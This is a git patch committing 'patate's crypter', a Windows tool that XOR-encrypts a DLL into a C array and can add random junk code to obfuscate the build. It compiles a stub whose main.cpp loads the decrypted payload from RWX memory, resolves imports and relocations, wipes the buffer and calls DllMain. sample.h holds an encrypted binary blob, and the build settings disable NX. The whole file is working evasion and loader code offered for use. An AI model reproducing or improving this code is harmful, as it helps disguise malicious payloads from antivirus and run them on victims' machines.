From 8ee02cdff5a4f721a74ac7d66a5ffbed030d770f Mon Sep 17 00:00:00 2001 From: ALittlePatate Date: Sun, 3 Sep 2023 17:06:55 +0200 Subject: [PATCH] feat: initial push of the files --- .gitignore | 6 + DllExecutor.sln | 31 ++ DllExecutor.vcxproj | 163 +++++++++++ DllExecutor.vcxproj.filters | 30 ++ DllExecutor.vcxproj.user | 4 + config.h | 2 + gui.py | 186 ++++++++++++ gui.ui | 180 ++++++++++++ main.cpp | 269 ++++++++++++++++++ obfuscation.py | 174 ++++++++++++ sample.h | 545 ++++++++++++++++++++++++++++++++++++ 11 files changed, 1590 insertions(+) create mode 100644 .gitignore create mode 100644 DllExecutor.sln create mode 100644 DllExecutor.vcxproj create mode 100644 DllExecutor.vcxproj.filters create mode 100644 DllExecutor.vcxproj.user create mode 100644 config.h create mode 100644 gui.py create mode 100644 gui.ui create mode 100644 main.cpp create mode 100644 obfuscation.py create mode 100644 sample.h diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..4d361c9 --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +*.exe +*.dll +.vs +__pycache__ +Debug +Release diff --git a/DllExecutor.sln b/DllExecutor.sln new file mode 100644 index 0000000..3091ded --- /dev/null +++ b/DllExecutor.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.1.32407.343 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DllExecutor", "DllExecutor.vcxproj", "{F2B3A240-E4B5-428F-991A-765881B2E877}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {F2B3A240-E4B5-428F-991A-765881B2E877}.Debug|x64.ActiveCfg = Debug|x64 + {F2B3A240-E4B5-428F-991A-765881B2E877}.Debug|x64.Build.0 = Debug|x64 + {F2B3A240-E4B5-428F-991A-765881B2E877}.Debug|x86.ActiveCfg = Debug|Win32 + {F2B3A240-E4B5-428F-991A-765881B2E877}.Debug|x86.Build.0 = Debug|Win32 + {F2B3A240-E4B5-428F-991A-765881B2E877}.Release|x64.ActiveCfg = Release|x64 + {F2B3A240-E4B5-428F-991A-765881B2E877}.Release|x64.Build.0 = Release|x64 + {F2B3A240-E4B5-428F-991A-765881B2E877}.Release|x86.ActiveCfg = Release|Win32 + {F2B3A240-E4B5-428F-991A-765881B2E877}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {7641BF2A-F360-40BB-A379-829DF730A00A} + EndGlobalSection +EndGlobal diff --git a/DllExecutor.vcxproj b/DllExecutor.vcxproj new file mode 100644 index 0000000..24e1836 --- /dev/null +++ b/DllExecutor.vcxproj @@ -0,0 +1,163 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {f2b3a240-e4b5-428f-991a-765881b2e877} + DllExecutor + 10.0 + + + + Application + true + v143 + MultiByte + + + Application + false + v143 + false + MultiByte + + + Application + true + v143 + MultiByte + + + Application + false + v143 + true + MultiByte + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS + true + stdcpp17 + + + Console + true + /NXCOMPAT:no %(AdditionalOptions) + %(AdditionalDependencies) + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS + true + stdcpp17 + Disabled + false + + + Console + true + true + false + /NXCOMPAT:no %(AdditionalOptions) + %(AdditionalDependencies) + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS + true + stdcpp17 + + + Console + true + /NXCOMPAT:no %(AdditionalOptions) + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS + true + stdcpp17 + + + Console + true + true + true + /NXCOMPAT:no %(AdditionalOptions) + + + + + + + + + + + + + \ No newline at end of file diff --git a/DllExecutor.vcxproj.filters b/DllExecutor.vcxproj.filters new file mode 100644 index 0000000..de85741 --- /dev/null +++ b/DllExecutor.vcxproj.filters @@ -0,0 +1,30 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Fichiers sources + + + + + Fichiers d%27en-tête + + + Fichiers d%27en-tête + + + \ No newline at end of file diff --git a/DllExecutor.vcxproj.user b/DllExecutor.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/DllExecutor.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/config.h b/config.h new file mode 100644 index 0000000..afd5091 --- /dev/null +++ b/config.h @@ -0,0 +1,2 @@ +#pragma once +#define KEY "sfgsdf" \ No newline at end of file diff --git a/gui.py b/gui.py new file mode 100644 index 0000000..85ac2af --- /dev/null +++ b/gui.py @@ -0,0 +1,186 @@ +# -*- coding: utf-8 -*- + +# Form implementation generated from reading ui file 'gui.ui' +# +# Created by: PyQt5 UI code generator 5.15.6 +# +# WARNING: Any manual changes made to this file will be lost when pyuic5 is +# run again. Do not edit this file unless you know what you are doing. + + +from PyQt5 import QtCore, QtGui, QtWidgets +from PyQt5.QtWidgets import QApplication +from PyQt5.QtCore import QCoreApplication +from obfuscation import obfuscate +import os, shutil + +class Ui_mainWindow(object): + def __init__(self) : + self.xor = False + self.cflow = False + self.junk = False + + def setupUi(self, mainWindow): + mainWindow.setObjectName("mainWindow") + mainWindow.setEnabled(True) + mainWindow.resize(262, 289) + sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) + sizePolicy.setHorizontalStretch(0) + sizePolicy.setVerticalStretch(0) + sizePolicy.setHeightForWidth(mainWindow.sizePolicy().hasHeightForWidth()) + mainWindow.setSizePolicy(sizePolicy) + mainWindow.setMinimumSize(QtCore.QSize(262, 289)) + mainWindow.setMaximumSize(QtCore.QSize(262, 289)) + self.centralwidget = QtWidgets.QWidget(mainWindow) + self.centralwidget.setObjectName("centralwidget") + self.pushButton = QtWidgets.QPushButton(self.centralwidget) + self.pushButton.setGeometry(QtCore.QRect(30, 30, 75, 23)) + self.pushButton.setObjectName("pushButton") + self.checkBox = QtWidgets.QCheckBox(self.centralwidget) + self.checkBox.setEnabled(True) + self.checkBox.setGeometry(QtCore.QRect(20, 80, 81, 17)) + self.checkBox.setObjectName("checkBox") + self.lineEdit = QtWidgets.QLineEdit(self.centralwidget) + self.lineEdit.setGeometry(QtCore.QRect(120, 90, 113, 20)) + self.lineEdit.setObjectName("lineEdit") + self.label = QtWidgets.QLabel(self.centralwidget) + self.label.setEnabled(True) + self.label.setGeometry(QtCore.QRect(160, 70, 47, 13)) + self.label.setObjectName("label") + self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget) + self.pushButton_2.setGeometry(QtCore.QRect(10, 220, 241, 41)) + self.pushButton_2.setObjectName("pushButton_2") + self.label_2 = QtWidgets.QLabel(self.centralwidget) + self.label_2.setGeometry(QtCore.QRect(20, 200, 201, 21)) + self.label_2.setObjectName("label_2") + self.checkBox_2 = QtWidgets.QCheckBox(self.centralwidget) + self.checkBox_2.setGeometry(QtCore.QRect(20, 120, 91, 16)) + self.checkBox_2.setObjectName("checkBox_2") + self.spinBox = QtWidgets.QSpinBox(self.centralwidget) + self.spinBox.setGeometry(QtCore.QRect(155, 118, 42, 22)) + self.spinBox.setObjectName("spinBox") + self.spinBox.setValue(5) + self.spinBox.setMinimum(1) + self.label_3 = QtWidgets.QLabel(self.centralwidget) + self.label_3.setGeometry(QtCore.QRect(120, 122, 47, 13)) + self.label_3.setObjectName("label_3") + self.checkBox_3 = QtWidgets.QCheckBox(self.centralwidget) + self.checkBox_3.setGeometry(QtCore.QRect(20, 140, 91, 16)) + self.checkBox_3.setObjectName("checkBox_3") + mainWindow.setCentralWidget(self.centralwidget) + self.statusbar = QtWidgets.QStatusBar(mainWindow) + self.statusbar.setEnabled(True) + self.statusbar.setSizeGripEnabled(False) + self.statusbar.setObjectName("statusbar") + mainWindow.setStatusBar(self.statusbar) + + self.retranslateUi(mainWindow) + QtCore.QMetaObject.connectSlotsByName(mainWindow) + + # Create a QTimer to call the mainloop function every frame + self.timer = QtCore.QTimer() + self.timer.timeout.connect(self.mainloop) + self.timer.start(16) # Adjust the interval as needed (16 milliseconds for ~60 FPS) + + def retranslateUi(self, mainWindow): + _translate = QtCore.QCoreApplication.translate + mainWindow.setWindowTitle(_translate("mainWindow", "patate\'s crypter")) + self.pushButton.setText(_translate("mainWindow", "Select file")) + self.pushButton.clicked.connect(self.fileDialog) + self.checkBox.setText(_translate("mainWindow", "XOR Encrypt")) + self.label.setText(_translate("mainWindow", "Key :")) + self.pushButton_2.setText(_translate("mainWindow", "Generate")) + self.pushButton_2.clicked.connect(self.generate) + self.label_2.setText(_translate("mainWindow", "")) + self.label_2.hide() + self.label_3.setText(_translate("mainWindow", "Pass :")) + self.checkBox_2.setText(_translate("mainWindow", "Add junk code")) + self.checkBox_3.setText(_translate("mainWindow", "Control flow")) + + def generate(self) : + in_filename = self.pushButton.text() + out_filename = in_filename.split(".")[0] + "_out.exe" + xor_key = '' + + if self.xor : + xor_key = self.lineEdit.text() + + self.label_2.show() + + if not os.path.exists(in_filename): + self.label_2.setText(f"\"{in_filename}\" does not exist!") + QCoreApplication.processEvents() + return + + self.label_2.setText("Creating sample header...") + QCoreApplication.processEvents() + + file = bytearray(open(in_filename, 'rb').read()) + with open("sample.h", 'w') as output: + output.write("unsigned char sample[] = { ") + for count, byte in enumerate(file, 1): + if xor_key : + output.write( + f'{byte ^ ord(xor_key[(count - 1) % len(xor_key)]):#0{4}x},' + ( + '\n' if not count % 16 else ' ')) + else : + output.write(f'{byte:#0{4}x},' + ('\n' if not count % 16 else ' ')) + + output.write("};") + + self.label_2.setText("done.") + QCoreApplication.processEvents() + + # Working with a copy of main.cpp + os.rename("main.cpp", "DO_NOT_TOUCH.cpp") + shutil.copyfile('DO_NOT_TOUCH.cpp', 'main.cpp') + with open("config.h", "w") as c : + c.write(f'#pragma once\n#define KEY "{xor_key}"') + + if self.cflow : # Make control flow stuff + pass + + if self.junk : # Add junk code + self.label_2.setText("Adding junk code...") + QCoreApplication.processEvents() + print(self.spinBox.value()) + obfuscate(self.spinBox.value()) + self.label_2.setText("done.") + QCoreApplication.processEvents() + + self.label_2.setText("Compiling...") + QCoreApplication.processEvents() + + vs_path = os.popen("\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\" -nologo -latest -property installationPath").read().replace("\n","") #https://stackoverflow.com/questions/46223916/msbuild-exe-not-found-cmd-exe + cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe" + + os.system("\""+cmd_line+"\" . /p:Configuration=Release;Platform=x86;OutDir=.;DebugSymbols=false;DebugType=None;TargetExt=.exe;TargetName="+out_filename.replace(".exe", "")+" /t:Rebuild") + # Cleaning up.. + os.remove("main.cpp") + os.rename("DO_NOT_TOUCH.cpp", "main.cpp") + + self.label_2.setText(f"--> {out_filename}") + QCoreApplication.processEvents() + + def fileDialog(self): + options = QtWidgets.QFileDialog.Options() + options |= QtWidgets.QFileDialog.ReadOnly + filePath, _ = QtWidgets.QFileDialog.getOpenFileName( + None, "Select a file", "", "Dll Files (*.dll);;All Files (*)", options=options) + if filePath: + # Display the selected file path in the QLineEdit + self.pushButton.setText(filePath.split("/")[-1:][0]) + + def mainloop(self) : + self.xor = self.checkBox.isChecked() + self.cflow = self.checkBox_3.isChecked() + self.junk = self.checkBox_2.isChecked() + +if __name__ == "__main__": + import sys + app = QtWidgets.QApplication(sys.argv) + mainWindow = QtWidgets.QMainWindow() + ui = Ui_mainWindow() + ui.setupUi(mainWindow) + mainWindow.show() + sys.exit(app.exec_()) diff --git a/gui.ui b/gui.ui new file mode 100644 index 0000000..3b4f3a6 --- /dev/null +++ b/gui.ui @@ -0,0 +1,180 @@ + + + mainWindow + + + true + + + + 0 + 0 + 262 + 289 + + + + + 0 + 0 + + + + + 262 + 289 + + + + + 262 + 289 + + + + patate's crypter + + + + + + 30 + 30 + 75 + 23 + + + + Select file + + + + + true + + + + 20 + 80 + 81 + 17 + + + + XOR Encrypt + + + + + + 120 + 90 + 113 + 20 + + + + + + true + + + + 160 + 70 + 47 + 13 + + + + Key : + + + + + + 10 + 220 + 241 + 41 + + + + Generate + + + + + + 20 + 200 + 201 + 21 + + + + Generated aaa.exe + + + + + + 20 + 120 + 91 + 16 + + + + Add junk code + + + + + + 20 + 140 + 91 + 16 + + + + Control flow + + + + + + 155 + 118 + 42 + 22 + + + + + + + 120 + 122 + 47 + 13 + + + + Pass : + + + + + + true + + + false + + + + + + diff --git a/main.cpp b/main.cpp new file mode 100644 index 0000000..5ab067f --- /dev/null +++ b/main.cpp @@ -0,0 +1,269 @@ +#include +#include +#include +#include +#include +#include +#include "sample.h" +#include "config.h" + +HMODULE hModule2; +LPVOID lpReserved2; + +#define NEW_ADDRESS 0x10000 + +// Define a macro for the debug printf +#ifdef _DEBUG +#define DEBUG_PRINTF(format, ...) printf(format, __VA_ARGS__) +#else +#define DEBUG_PRINTF(format, ...) +#endif + +/* +Works with : +- 32bit exe + dll + + Relocs doesn't work for some exe for some reasons + +- XOR decrypts the PE +- Doesn't copy headers +*/ + +// This function will load a DLL from a buffer into the current process. +// The DLL is expected to be in the PE format. +// +// Parameters: +// - dll_buffer: a buffer containing the DLL file to be loaded. +// - dll_size: the size of the DLL buffer, in bytes. +// +// Returns: +// - a handle to the loaded DLL, if successful. +// - NULL, if the DLL could not be loaded. +HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase) +{ + //START + // Check if the DLL buffer is at least as large as the size of the DOS header. + if (dll_size < sizeof(IMAGE_DOS_HEADER)) + { + return NULL; + } + + // Get a pointer to the DOS header. + const IMAGE_DOS_HEADER* dos_header = static_cast(dll_buffer); + + // Check if the DLL buffer is at least as large as the size of the NT headers. + if (dll_size < dos_header->e_lfanew + sizeof(IMAGE_NT_HEADERS)) + { + return NULL; + } + + // Get a pointer to the NT headers. + const IMAGE_NT_HEADERS* nt_headers = reinterpret_cast(static_cast(dll_buffer) + dos_header->e_lfanew); + + // Check if the DLL is a valid 32-bit or 64-bit PE file. + if (nt_headers->Signature != IMAGE_NT_SIGNATURE) + { + return NULL; + } + + // Calculate the size of the image. + const size_t image_size = nt_headers->OptionalHeader.SizeOfImage; + + // Allocate memory for the DLL in the current process. + void* image_base = VirtualAlloc((LPVOID)newBase, image_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (image_base == NULL) + { + return NULL; + } + + // Get a pointer to the section headers. + const IMAGE_SECTION_HEADER* section_headers = reinterpret_cast(nt_headers + 1); + + // Copy the section data to the allocated memory. + for (WORD i = 0; i < nt_headers->FileHeader.NumberOfSections; ++i) + { + const IMAGE_SECTION_HEADER* section_header = section_headers + i; + memcpy(static_cast(image_base) + section_header->VirtualAddress, static_cast(dll_buffer) + section_header->PointerToRawData, section_header->SizeOfRawData); + } + + DEBUG_PRINTF("[+] Wrote section data\n"); + + //Rebasing symbols + DEBUG_PRINTF("[+] Rebasing Dll\n"); + HMODULE dll_handle = static_cast(image_base); + + + // Get the address of the DLL's entry point. + const void* entry_point = static_cast(image_base) + nt_headers->OptionalHeader.AddressOfEntryPoint; + + // Get the address of the DLL's import directory. + const IMAGE_IMPORT_DESCRIPTOR* import_directory = reinterpret_cast(static_cast(image_base) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); + + DEBUG_PRINTF("[+] Fixing imports\n"); + // Iterate through the import directory and resolve the imported functions. + while (import_directory->Name != 0) + { + // Get the name of the imported DLL. + const char* import_dll_name = static_cast(image_base) + import_directory->Name; + + // Load the imported DLL. + HMODULE import_dll = LoadLibraryA(import_dll_name); + if (import_dll == NULL) + { + VirtualFree(image_base, 0, MEM_RELEASE); + return NULL; + } + + // Get the address of the imported functions. + IMAGE_THUNK_DATA* import_thunk_data = reinterpret_cast(static_cast(image_base) + import_directory->FirstThunk); + + // Resolve the imported functions. + while (import_thunk_data->u1.AddressOfData != 0) + { + // Check if the import is by ordinal + if (IMAGE_SNAP_BY_ORDINAL(import_thunk_data->u1.Ordinal)) + { + // Get the ordinal value + DWORD ordinal = IMAGE_ORDINAL(import_thunk_data->u1.Ordinal); + + // Get the address of the imported function by ordinal + void* import_address = GetProcAddress(import_dll, reinterpret_cast(ordinal)); + + // Write the address of the imported function to the IAT. + if (import_address != nullptr) { + *reinterpret_cast(import_thunk_data) = import_address; + } + } + else + { + // Get the import by name + const IMAGE_IMPORT_BY_NAME* import_by_name = reinterpret_cast(static_cast(image_base) + import_thunk_data->u1.AddressOfData); + + // Get the address of the imported function by name + void* import_address = GetProcAddress(import_dll, reinterpret_cast(import_by_name->Name)); + + // Write the address of the imported function to the IAT. + if (import_address != nullptr) { + *reinterpret_cast(import_thunk_data) = import_address; + } + } + + ++import_thunk_data; + } + + ++import_directory; + } + + DEBUG_PRINTF("[+] Doing relocation\n"); + + // Get the address of the DLL's base relocation directory. + const IMAGE_BASE_RELOCATION* base_relocation = reinterpret_cast(static_cast(image_base) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); + + // Calculate the delta between the original base address and the new base address. + DWORD delta = newBase - nt_headers->OptionalHeader.ImageBase; + + // Iterate through the base relocation directory and apply the relocations. + while (base_relocation->VirtualAddress != 0) + { + // Get the relocation block header. + const WORD* relocation_block = reinterpret_cast(base_relocation + 1); + + // Calculate the number of relocations in the current block. + DWORD num_relocations = (base_relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + + // Apply each relocation in the current block. + for (DWORD i = 0; i < num_relocations; ++i) + { + // Get the current relocation entry. + WORD relocation_entry = relocation_block[i]; + + // Extract the type and offset from the relocation entry. + WORD type = relocation_entry >> 12; + WORD offset = relocation_entry & 0xFFF; + + // Get a pointer to the address to be relocated. + DWORD* reloc_address = reinterpret_cast(static_cast(image_base) + base_relocation->VirtualAddress + offset); + + // Apply the relocation based on the type. + switch (type) + { + case IMAGE_REL_BASED_ABSOLUTE: + // The relocation is skipped if the type is absolute. + break; + + case IMAGE_REL_BASED_HIGHLOW: + // Adjust the address by adding the delta. + *reloc_address += delta; + break; + + default: + // Handle other relocation types if necessary. + // ... + break; + } + } + + // Move to the next relocation block. + base_relocation = reinterpret_cast(reinterpret_cast(base_relocation) + base_relocation->SizeOfBlock); + } + + DEBUG_PRINTF("\n[+] Calling DllMain\n"); + // Call the DLL's entry point, if it has one. + if (entry_point != NULL) + { + // Get the address of the DLL's entry point in the IAT. + void* entry_point_iat = static_cast(image_base) + nt_headers->OptionalHeader.AddressOfEntryPoint; + + // Cleaning + dll_buffer = ""; + size_t sample_size = sizeof(sample) / sizeof(sample[0]); + for (size_t i = 0; i < sample_size; i++) { + sample[i] = 0; + } + + // Call the DLL's entry point. + reinterpret_cast(entry_point_iat)(hModule2, DLL_PROCESS_ATTACH, lpReserved2); + } + + // Return a handle to the loaded DLL. + return dll_handle; + //END +} + +void decrypt(const char* key) { + //START + size_t key_size = strlen(key); + if (key_size == 0) return; + for (int i = 0; i < sizeof(sample) / sizeof(sample[0]); i++) { + sample[i] ^= key[i%key_size]; + } + //END +} + +int main(void) +{ + //START + + AllocConsole(); + FILE* fp; + freopen_s(&fp, "CONOUT$", "w", stdout); // output only + + DEBUG_PRINTF("[+] Started\n"); + // Load the DLL from a buffer in memory + const int bufferSize = sizeof(sample) / sizeof(sample[0]); + + decrypt(KEY); + HMODULE dll = RunPE(sample, bufferSize, NEW_ADDRESS); + if (dll == NULL) + { + DEBUG_PRINTF("[-] Failed to load DLL\n"); + return 1; + } + + // Free the DLL + ::FreeLibrary(dll); + + return 0; + //END +} diff --git a/obfuscation.py b/obfuscation.py new file mode 100644 index 0000000..7fda332 --- /dev/null +++ b/obfuscation.py @@ -0,0 +1,174 @@ +import os, string, re + +""" +Creates : + - Random variables (local and globals) + - Random operations on globals +""" + +def GetRandomBool() : + result = os.urandom(3) + r= sum(result) < 381.04 + return r #average + +def GetRandomNumber() : + result = os.urandom(4) + return int(sum(result)) + +def GetRandomRange(a, b): + if a > b: + a, b = b, a # Swap a and b if a is greater than b + + range_size = b - a + 1 # Calculate the size of the range + + # Calculate the number of bits required to represent all values in the range + num_bits = 0 + while 2 ** num_bits < range_size: + num_bits += 1 + + # Generate a random number in binary representation using GetRandomBool() + random_binary = [GetRandomBool() for _ in range(num_bits)] + + # Convert the binary representation to an integer within the specified range + random_integer = 0 + for i, bit in enumerate(random_binary): + random_integer += bit * (2 ** i) + + # Map the generated integer to the desired range [a, b] + mapped_value = a + random_integer + if mapped_value > b : return GetRandomRange(a, b) + + return mapped_value + +def GetRandomString(l) : + letters = string.ascii_lowercase + s = "" + while len(s) < l : + r = GetRandomRange(0, len(letters)-1) + s += letters[r] + + return s + +types = ["short", "unsigned short", "int", "unsigned int", "long", "unsigned long", "float", "double"] +operations = ["-", "+", "^", "*", "/"] +global_vars = {} +functions = [] +in_func = False + +def GetRandomVar() : + global global_vars + global in_func + vtype = types[GetRandomRange(0, len(types)-1)] + vname = GetRandomString(10) + t = vtype + " " + vname + " = " + + val = str(GetRandomNumber()) + if vtype == "float" or vtype == "double" : val = str(GetRandomNumber())+"."+str(GetRandomNumber()) + if vtype == "float" : val += "f" + res = t + val + ";" + + if not in_func : + global_vars[vname] = vtype + + return res + +def GetRandomOperation() : + global global_vars + vars_ = list(global_vars.items()) + if len(vars_) < 1 : return "" + + v1 = vars_[GetRandomRange(0, len(vars_)-1)] + + op = operations[GetRandomRange(0, len(operations)-1)] + res = "" + res += v1[0] + " " + op + "= " + + vtype = v1[1] + val = str(GetRandomNumber()) + if vtype == "float" or vtype == "double" : + if op == "^" : return GetRandomOperation() + val = str(GetRandomNumber())+"."+str(GetRandomNumber()) + if vtype == "float" : val += "f" + + res += val + ";" + return res + +def GetRandomFunction() : + global functions + name = GetRandomString(6) + functions.append(name) + + body = "int "+name+"(const char* a1) {\n" + body += f"\tint bb = {GetRandomNumber()};\n" + body += "\tfor (int i = 0; i < 10; i++) {\n\t\tCreateMutexA(NULL, false, a1);\n\t\tbb++;\n\t}\n\treturn bb;\n}" + + return body + +def CallRandomFunction() : + global functions + if len(functions) < 1 : return "" + + sub = functions[GetRandomRange(0, len(functions)-1)] + return "int " + GetRandomString(6) + " = " + sub + "(\""+GetRandomString(5)+"\");" + +def obfuscate(PASS) : + global global_vars + global functions + global in_func + dont = ["for", "if", "else", "while"] + func_def_pattern = r'\b\w+\s+\w+\s*\([^)]*\)\s*' + + f = open("DO_NOT_TOUCH.cpp", "r") + o = open("main.cpp", "w") + + lines = f.readlines() + for k in range(PASS) : + in_comment = False + in_switch = False + in_asm = False + in_func_delay = False + global_vars = {} + functions = [] + out = [] + for line in lines : + out.append(line) + + if in_func_delay and "}" in line : + in_func = False + in_func_delay = False + elif in_func_delay : continue + + if "//START" in line : in_func = True + if "/*" in line : in_comment = True + elif "*/" in line : in_comment = False + if "switch" in line : in_switch = True + elif in_switch and "}" in line : in_switch = False + if "__asm" in line : in_asm = True + elif in_asm and "}" in line : in_asm = False + skip = False + for w in dont : + if w in line : skip = True + if skip : continue + + a = "{" in line or "}" in line or "#" in line + b = re.search(func_def_pattern, line) != None + + if b or a or in_comment or in_switch or in_asm : continue # we can't write + + if GetRandomBool() : # do we create a variable ? + out.append(GetRandomVar()+"\n") + + if GetRandomBool() and in_func : # do we do an operation on globals ? + out.append(GetRandomOperation()+"\n") + + if GetRandomBool() and not in_func : # do we create a function ? + out.append(GetRandomFunction()+"\n") + + if GetRandomBool() and in_func : # do we call a function ? + out.append(CallRandomFunction()+"\n") + + if "//END" in line : in_func_delay = True + + lines = out + + o.writelines(out) \ No newline at end of file diff --git a/sample.h b/sample.h new file mode 100644 index 0000000..3d2e522 --- /dev/null +++ b/sample.h @@ -0,0 +1,545 @@ +unsigned char sample[] = { 0x3e, 0x3c, 0xf7, 0x73, 0x67, 0x66, 0x73, 0x66, 0x63, 0x73, 0x64, 0x66, 0x8c, 0x99, 0x67, 0x73, +0xdc, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x33, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0xa3, 0x66, 0x67, 0x73, +0x6a, 0x79, 0xc9, 0x68, 0x67, 0xc7, 0x6d, 0xab, 0x52, 0xde, 0x66, 0x3f, 0xa9, 0x47, 0x27, 0x0e, +0x0e, 0x00, 0x44, 0x16, 0x01, 0x09, 0x00, 0x01, 0x05, 0x0b, 0x53, 0x05, 0x06, 0x1d, 0x0a, 0x09, +0x07, 0x46, 0x05, 0x16, 0x44, 0x14, 0x06, 0x08, 0x47, 0x1a, 0x0a, 0x46, 0x37, 0x29, 0x34, 0x53, +0x09, 0x09, 0x17, 0x03, 0x49, 0x7e, 0x69, 0x6c, 0x57, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0xa6, 0x7e, 0x62, 0x81, 0xf6, 0x0a, 0x0f, 0xc7, 0xe1, 0x0a, 0x1b, 0xd2, 0xe2, 0x1f, 0x0c, 0xd2, +0xe2, 0x61, 0x0e, 0xc6, 0xe2, 0x0a, 0x1b, 0xd2, 0xe2, 0x1f, 0x0d, 0xd2, 0xfb, 0x0a, 0x0f, 0xc7, +0x10, 0x7d, 0x1f, 0xd3, 0xe3, 0x1f, 0x0c, 0xd2, 0x07, 0x7d, 0x0d, 0xc6, 0xe0, 0x0a, 0x1b, 0xd2, +0x35, 0x1a, 0x07, 0x0e, 0xf6, 0x0a, 0x0f, 0xc7, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x34, 0x23, 0x73, 0x66, 0x2b, 0x72, 0x60, 0x66, 0x5d, 0x66, 0x21, 0x11, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x93, 0x66, 0x65, 0x52, 0x6f, 0x67, 0x7d, 0x78, 0x67, 0x77, 0x64, 0x66, +0x73, 0x7c, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x17, 0x62, 0x64, 0x66, 0x73, 0x76, 0x67, 0x73, +0x64, 0x46, 0x73, 0x66, 0x67, 0x73, 0x64, 0x76, 0x73, 0x76, 0x67, 0x73, 0x64, 0x64, 0x73, 0x66, +0x61, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x62, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x73, 0x06, 0x67, 0x73, 0x64, 0x62, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x71, 0x66, 0x27, 0x76, +0x64, 0x66, 0x63, 0x66, 0x67, 0x63, 0x64, 0x66, 0x73, 0x66, 0x77, 0x73, 0x64, 0x76, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x63, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, +0x33, 0x47, 0x67, 0x73, 0x4c, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x23, 0x64, 0x66, 0x4b, 0x66, 0x67, 0x73, 0x5c, 0x46, 0x73, 0x66, 0x7b, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, +0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x46, 0x73, 0x66, 0x5f, 0x73, 0x64, 0x66, +0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x5d, 0x12, 